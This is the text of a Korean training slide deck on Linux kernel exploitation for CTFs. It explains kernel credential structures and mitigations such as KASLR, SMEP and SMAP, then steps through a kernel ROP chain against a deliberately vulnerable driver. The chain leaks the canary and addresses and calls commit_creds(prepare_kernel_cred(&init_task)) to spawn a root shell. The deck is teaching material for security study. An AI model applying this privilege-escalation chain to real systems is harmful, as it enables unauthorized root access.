
Linux Kernel Exploit Basic

서호진

© Hackingcamp. All Rights Reserved



- 아주대학교 사이버보안학과

- 아주대학교 정보보안 소학회 Whois 소속

- Best of The Best 9기 취약점 분석 트랙

- 0x19살

Who Am I

© Hackingcamp. All Rights Reserved



• Linux Kernel 기초 지식

• CTF에서의 Linux Kernel Exploit

• Kernel Exploit Technique
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What is a Kernel?, kernel module, task, kernel API

Local Privilege Escalation, QEMU, Memory Mitigation 

Kernel Return Oriented Programming



• What is a Kernel?

Linux Kernel 기초 지식
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운영체제(OS)의 핵심 구성 요소로 컴퓨터 기본적인 자원들을 관리하고 메모리, 
프로세스, 디바이스 드라이버 관리, 시스템 콜 수신의 역할을 수행하는 소프트웨어

Applications

Kernel

CPU Memory Device



• Task

Linux Kernel 기초 지식
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Linux Kernel에서는 프로세스와 쓰레드의 데이터를 Task 라는 구조체를 통해서 관리를
하는데 이 때 각 프로세스 or 쓰레드 마다 Task가 생성이 된다.

https://elixir.bootlin.com/linux/v6.18.6/source/include/linux/sched.h#L819



• Task Struct 

Linux Kernel 기초 지식
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• Task Struct  

Linux Kernel 기초 지식
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현재 task의 신원 정보 저장(퍼미션 등…)

Process Name 저장

Process ID 저장



• Cred Struct  

Linux Kernel 기초 지식
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task struct 일부

cred struct 일부

UID는현프로세스의사용자 ID를저장
(task_struct내부 cred struct를 root 권한의 cred struct로덮어쓰는방식등으로권한상승이가능)



• Linux Kernel 주요 API

Linux Kernel 기초 지식
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int copy_from_user(void* to, const void __user* from, unsigned long n)

int copy_to_user(void __user* to, const void* from, unsigned long n)

struct cred *prepare_kernel_cred(struct task_struct *daemon)

int commit_creds(struct cred *new)



• copy_from_user

Linux Kernel 기초 지식
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int copy_from_user(void* to, const void __user* from, unsigned long n)

유저영역의데이터를세번째인자 n byte 만큼커널영역에복사

A A A A A AUser Space

Kernel Space

* N byte 길이검증이미흡할경우 overflow 취약점발생



• copy_from_user

Linux Kernel 기초 지식
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int copy_from_user(void* to, const void __user* from, unsigned long n)

유저영역의데이터를세번째인자 n byte 만큼커널영역에복사

A A A A A AUser Space

Kernel Space

* N byte 길이검증이미흡할경우 overflow 취약점발생

A A A A A A



• copy_to_user

Linux Kernel 기초 지식
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int copy_to_user(void* __to, const void user* from, unsigned long n)

커널영역의데이터를세번째인자 n byte 만큼유저영역에복사

User Space

Kernel Space

* from 에들어가는 kernel address 값을컨트롤가능할경우 kernel address leak 가능

A A A A A A



• copy_to_user

Linux Kernel 기초 지식
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int copy_to_user(void* __to, const void user* from, unsigned long n)

커널영역의데이터를세번째인자 n byte 만큼유저영역에복사

A A A A A AUser Space

Kernel Space

* from 에들어가는 kernel address 값을컨트롤가능할경우 kernel address leak 가능

A A A A A A



• prepare_kernel_cred

Linux Kernel 기초 지식
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struct cred *prepare_kernel_cred(struct task_struct *daemon) 

원하는신원정보의 cred 구조체를생성하는함수 kernel v6.2 이전까지는인자로 0을줄경우 root 권한의
자격증명을가져온다 (v6.2부터는패치됨)

https://elixir.bootlin.com/linux/v6.1.75/source/kernel/cred.c



• Compare prepare_kernel_cred Versions

Linux Kernel 기초 지식
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https://elixir.bootlin.com/linux/v6.1.75/source/kernel/cred.c https://elixir.bootlin.com/linux/v6.18.6/source/kernel/cred.c

인자가 NULL이면 &init_cred를 가져옴

인자가 NULL이면 NULL을 반환



• struct cred init_cred

Linux Kernel 기초 지식
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ROOT (0) 권한의정보를가지고있는구조체



• commit_creds

Linux Kernel 기초 지식
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int commit_creds(struct cred * new) 

인자로들어온 cred 구조체의자격증명을가지고프로세스의신원을변경하는함수
만약, 인자로 root의자격증명을가지고있는 cred 구조체가들어올경우해당프로세스는 root가된다 (권한상승)

kernel v6.2 이전까지는 commit_creds(prepare_kernel_cred(0))를사용해 Local Privilege Escalation 수행

kernel v6.2 이후부터는 commit_creds(prepare_kernel_cred(&init_task))를사용해 Local Privilege Escalation 수행



• Kernel Module

Linux Kernel 기초 지식
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커널의 새로운 기능을 넣기위해추가하는오브젝트파일

어떤기능을추가하기위해커널소스코드를수정하고다시빌드를하는것이아닌
모듈의형태로운영체제동작중에추가및 제거를하는것이가능하다



• Kernel Module Programming

Linux Kernel 기초 지식
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example kernel driver source code



• Kernel Module Programming

Linux Kernel 기초 지식
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Makefile



• Kernel Module Programming

Linux Kernel 기초 지식
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hcamp.ko 모듈파일생성



• ELF Binary Exploit과의차이점

CTF에서의 Linux Kernel Exploit
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$ cat flag.txtfrom pwn import*

p = remote(…

p.interactive()

exploit.py 실행



• ELF Binary Exploit과의차이점

CTF에서의 Linux Kernel Exploit
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# whoami

root 

# cat flag.txt

$ ./exploit

Linux Kernel Exploit은 User shell이있는상태에서 Kernel 취약점을이용해 ROOT로권한상승(LPE)을하는것이목표



• CTF Kernel Exploit Challenge 파일구성

CTF에서의 Linux Kernel Exploit
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LINE CTF 2021 - pprofile



• CTF Kernel Exploit Challenge 파일구성

CTF에서의 Linux Kernel Exploit
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압축된 kernel image



• CTF Kernel Exploit Challenge 파일구성

CTF에서의 Linux Kernel Exploit
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File System



• CTF Kernel Exploit Challenge 파일구성

CTF에서의 Linux Kernel Exploit
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취약한 Kernel Driver



• CTF Kernel Exploit Challenge 파일구성

CTF에서의 Linux Kernel Exploit
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메모리 보호 기법



• CTF Kernel Exploit Challenge 파일구성

CTF에서의 Linux Kernel Exploit
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문제파일시스템내부의 init 스크립트를통해 pprofile.ko를적재



• CTF Kernel Exploit Challenge 파일구성

CTF에서의 Linux Kernel Exploit
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Kernel Dirver exploit을통해 ROOT 권한을얻어 flag 파일을읽는것이 CTF에서의목표



• Linux Kernel Memory Protection

CTF에서의 Linux Kernel Exploit
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- KASLR

- SSP

- SMEP

- SMAP



• KASLR (Kernel Address Layout Randomization)

CTF에서의 Linux Kernel Exploit
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커널영역의주소를랜덤화하는기법, User Space의 ASLR과 비슷하다



• SSP (Stack Smashing Protector)

CTF에서의 Linux Kernel Exploit
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User Space의 Canary 보호기법과동일, Kernel Stack에 Canary 값을삽입및 검증을진행한다



• SMEP (Supervisor Mode Execution Prevention)

CTF에서의 Linux Kernel Exploit
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User Space의 코드 실행을막는 기법, RING 0 에서 RING 3 영역의코드를실행을
방지한다 (User Space의NX와유사) 

ret2usr 기법이나 User Space의 code gadget을 사용 불가

push 0x40121b (User Space Function)
pop rax
call rax

User Space code를실행했을때 Kernel Panic 발생



• SMEP (Supervisor Mode Execution Prevention)

CTF에서의 Linux Kernel Exploit
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User Space에권한상승 payload를올려둔뒤, Kernel의 RIP 값을해당 Address로바꾸는 ret2usr 공격을



• SMEP (Supervisor Mode Execution Prevention)

CTF에서의 Linux Kernel Exploit
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방지할수있음



• SMAP (Supervisor Mode Access Prevention)

CTF에서의 Linux Kernel Exploit
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SMEP에서강화된보호기법, 유저영역의코드실행뿐만아니라 read, write 권한까지전부막는다

User Space에 kernel gadget을넣고 rsp를조작하는 Kernel Stack Pivoting 또한사용이불가하게된다

mov rax, 0x7ffff7fa2000 (User Space) 
mov rdx, qword ptr [rax] 

User Space Memory에접근했을때 Kernel Panic 발생



• Kernel Return Oriented Programming

Linux Kernel Exploit Technique
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SMEP, SMAP로 인해 User Space의 코드를사용하지못하거나, KASLR로 인해서 Memory Leak
과정이필요한경우 User Space에서의 Exploit 과정과마찬가지로 ROP기법을이용한다.

commit_creds(prepare_kernel_cred(&init_task)) 를 호출하여권한상승을수행하는방법을소개



• Kernel Return Oriented Programming

Linux Kernel Exploit Technique
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Buffer Overflow 취약점이존재하는 Device Driver Source Code



• Kernel Return Oriented Programming

Linux Kernel Exploit Technique
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$ ./run.sh



• Kernel Return Oriented Programming

Linux Kernel Exploit Technique
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KASLR, SMEP, SMAP Enable



• KASLR, SSP Bypass

Linux Kernel Exploit Technique
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count 값조작이가능하므로, arr 범위를넘어 Kernel Stack에들어있는 Address Leak 가능



• KASLR, SSP Bypass

Linux Kernel Exploit Technique
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• KASLR, SSP Bypass

Linux Kernel Exploit Technique
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target driver open



• KASLR, SSP Bypass

Linux Kernel Exploit Technique
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driver 내부 bof_read 함수 호출



• KASLR, SSP Bypass

Linux Kernel Exploit Technique
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copy_to_user(0x00007ffde2239af0, 0xffffc90000243e40, 0x64)

User Space Kernel Space



• KASLR, SSP Bypass

Linux Kernel Exploit Technique
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Kernel Canary Kernel Address

LEAK TARGET



• KASLR, SSP Bypass

Linux Kernel Exploit Technique
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User Stack

Kernel Stack

copy_to_user 호출전



• KASLR, SSP Bypass

Linux Kernel Exploit Technique
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copy_to_user(0x00007ffde2239af0, 0xffffc90000243e40, 0x64) 호출후
User Space에데이터가복사된것을확인가능

User Space Kernel Space



• KASLR, SSP Bypass

Linux Kernel Exploit Technique
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Canary , Kernel Address Leak Success 



• Kernel RIP Control

Linux Kernel Exploit Technique
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count 값조작이가능하므로, arr 보다큰값을주어 Kernel Stack Buffer Overflow 발생



• Kernel RIP Control

Linux Kernel Exploit Technique
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Kernel Canary 위치



• Kernel RIP Control

Linux Kernel Exploit Technique
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Kernel RIP Control



• Kernel RIP Control

Linux Kernel Exploit Technique
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driver 내부 bof_write 함수 호출



• Kernel RIP Control

Linux Kernel Exploit Technique
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copy_from_user(0xffffc90000237e48, 0x00007ffe987ea5c0, 0x64)

Kernel Space User Space



• Kernel RIP Control

Linux Kernel Exploit Technique
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copy_from_user 호출전

Kernel Stack

User Stack



• Kernel RIP Control

Linux Kernel Exploit Technique
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Return Address Overwrite Success



• Kernel RIP Control

Linux Kernel Exploit Technique
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• User Context Backup

Linux Kernel Exploit Technique
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Kernel Space에서권한상승을수행한뒤 User 함수인 get_shell 을실행하고자정상적이게 User 상태로돌아오기위해서는
현재의 Context를저장하고돌아올때복구수행이필요

그러한과정을수행하기위해 tf 전역변수에현재 Context를저장하는단계



• User Context Backup

Linux Kernel Exploit Technique

© Hackingcamp. All Rights Reserved



• Kernel Return Oriented Programming

Linux Kernel Exploit Technique
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• Kernel Return Oriented Programming

Linux Kernel Exploit Technique
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Kernel Base & Exploit Gadget 
Address계산



• Kernel Return Oriented Programming

Linux Kernel Exploit Technique
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ROP Chain 구성



Linux Kernel Exploit Technique
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pop rdi ; ret

init_task_ptr

prepare_kernel_cred

pop_rcx

0

mov rdi, rax ; rep movsq qword ptr [rdi], 

qword ptr [rsi] ; ret

commit_creds

….

$rip :  pop rdi ; ret

RSP 



Linux Kernel Exploit Technique
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pop rdi ; ret

init_task_ptr

prepare_kernel_cred

pop_rcx

0

mov rdi, rax ; rep movsq qword ptr [rdi], 

qword ptr [rsi] ; ret

commit_creds

….

$rip : pop rdi ; ret

RSP 
[Register]

$rdi : &init_task_ptr



Linux Kernel Exploit Technique
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pop rdi ; ret

init_task_ptr

prepare_kernel_cred

pop_rcx

0

mov rdi, rax ; rep movsq qword ptr [rdi], 

qword ptr [rsi] ; ret

commit_creds

….

$rip : prepare_kernel_cred

[Register]

$rdi : &init_task_ptr

RSP 

prepare_kernel_cred(&init_task)



Linux Kernel Exploit Technique
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Linux Kernel Exploit Technique
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pop rdi ; ret

init_task_ptr

prepare_kernel_cred

pop_rcx

0

mov rdi, rax ; rep movsq qword ptr [rdi], 

qword ptr [rsi] ; ret

commit_creds

….

$rip : pop rcx ; ret

[Register]

$rdi : &init_task_ptr

$rax : &root_cred_struct

RSP 



Linux Kernel Exploit Technique
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pop rdi ; ret

init_task_ptr

prepare_kernel_cred

pop_rcx

0

mov rdi, rax ; rep movsq qword ptr [rdi], 

qword ptr [rsi] ; ret

commit_creds

….

$rip : pop rcx ; ret

[Register]

$rdi : &init_task_ptr

$rax : &root_cred_struct

$rcx : 0

RSP 



Linux Kernel Exploit Technique
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pop rdi ; ret

init_task_ptr

prepare_kernel_cred

pop_rcx

0

mov rdi, rax ; rep movsq qword ptr [rdi], 

qword ptr [rsi] ; ret

commit_creds

….

$rip : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret

[Register]

$rdi : &init_task_ptr

$rax : &root_cred_struct

$rcx : 0 RSP 



Linux Kernel Exploit Technique
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pop rdi ; ret

init_task_ptr

prepare_kernel_cred

pop_rcx

0

mov rdi, rax ; rep movsq qword ptr [rdi], 

qword ptr [rsi] ; ret

commit_creds

….

$rip : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret

[Register]

$rdi : &root_cred_struct

$rax : &root_cred_struct

$rcx : 0 RSP 



Linux Kernel Exploit Technique
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pop rdi ; ret

init_task_ptr

prepare_kernel_cred

pop_rcx

0

mov rdi, rax ; rep movsq qword ptr [rdi], 

qword ptr [rsi] ; ret

commit_creds

….

$rip : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret

[Register]

$rdi : &root_cred_struct

$rax : &root_cred_struct

$rcx : 0 RSP 

$rcx가 0이므로 0회 반복



Linux Kernel Exploit Technique
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pop rdi ; ret

init_task_ptr

prepare_kernel_cred

pop_rcx

0

mov rdi, rax ; rep movsq qword ptr [rdi], 

qword ptr [rsi] ; ret

commit_creds

….

[Register]

$rdi : &root_cred_struct

$rax : &root_cred_struct

$rcx : 0

commit_creds(&root_cred_struct)

$rip : commit_creds

RSP 



Linux Kernel Exploit Technique
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Linux Kernel Exploit Technique
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swapgs ; ret

iretq ; ret

tf.user_rip

tf.user_cs

tf.user_rflags

tf.user_rsp

tf.user_ss

….

권한 상승 이후에 KernelGSbase의 값을
GS.base의 값으로 교체

$rip : swapgs ; ret

RSP 



Linux Kernel Exploit Technique
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RSP에 들어있는 User Space의 Context Data를
가져와 원래의 실행 상태를 복구

$rip : iretq ; ret

RSP 

swapgs ; ret

iretq ; ret

tf.user_rip

tf.user_cs

tf.user_rflags

tf.user_rsp

tf.user_ss

….



Linux Kernel Exploit Technique

© Hackingcamp. All Rights Reserved

RSP에 있는 0x401745 (User Space Address)로 이동

rip cs

rflags rsp

ss

Kernel Space에서 User Space로전환



Linux Kernel Exploit Technique
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ROOT 권한으로 system(“/bin/sh”) 실행



Linux Kernel Exploit Technique
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• Kernel Return Oriented Programming

Local Privilege Escalation Success
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E-mail : aku7777@ajou.ac.kr

Contect



Quiz 1 
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인자로 들어온 cred 구조체의 자격 증명을 가지고 프로세스의 신원을 변경하는 함수

1. copy_from_user

2. copy_to_user

3. commit_creds

4. prepare_kernel_cred



Quiz 1 - 정답
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인자로 들어온 cred 구조체의 자격 증명을 가지고 프로세스의 신원을 변경하는 함수

1. copy_from_user

2. copy_to_user

3. commit_creds

4. prepare_kernel_cred



Quiz 2 
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KernelGSbase의 값을 GS.base의 값으로 교체하는 어셈블리어는?

1. ret

2. swapgs

3. iretq

4. int4



Quiz 2 - 정답
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KernelGSbase의 값을 GS.base의 값으로 교체하는 어셈블리어는?

1. ret

2. swapgs

3. iretq

4. int4



감사합니다.
QnA
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